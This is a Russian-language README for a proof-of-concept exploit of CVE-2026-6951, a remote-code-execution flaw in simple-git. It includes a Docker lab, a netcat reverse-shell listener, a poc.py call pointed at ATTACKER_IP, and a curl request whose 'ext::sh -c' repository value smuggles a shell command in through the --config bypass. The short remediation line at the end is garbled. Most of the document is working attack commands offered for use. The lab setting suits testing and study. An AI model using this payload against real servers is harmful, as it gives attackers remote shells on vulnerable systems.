
Эксплойт proof-of-concept для CVE-2026-6951 — обход фильтра `--config` в simple-git, позволяющий выполнить удалённый код через протокол Git ext, с Docker-лабораторией и полезной нагрузкой reverse shell.
★ CVE-2026-6951 Обход фильтра опции --config в simple-git, приводящий к RCE — PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 — это уязвимость удалённого выполнения кода в
simple-git, вызванная неполным исправлением CVE-2022-25912. Хотя опция-cбыла заблокирована, эквивалентная опция--configне была должным образом ограничена. Злоумышленник, способный контролировать аргументы Git, может включить протоколextи выполнить произвольные команды через URL репозиторияext::.
| Категория | Версия |
|---|---|
| Уязвимые | simple-git версии до 3.36.0 |
| Исправленные | simple-git 3.36.0 или новее |
В данной среде используется simple-git 3.35.2 и @simple-git/argv-parser 1.0.3.
Соберите и запустите уязвимую среду.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Доступ к сервису:
http://127.0.0.1:9107
Проверьте состояние сервиса.
curl -s http://127.0.0.1:9107/api/health
Встроенный пример репозитория доступен по адресу:
file:///srv/git/sample.git
Запустите слушатель на системе атакующего.
nc -lvnp 4444
Запустите скрипт эксплойта.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
Следующий запрос выполняет команду id, злоупотребляя неограниченной опцией --config и протоколом Git ext.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git до версии 3.36.0 или новее.simple-git.ext::.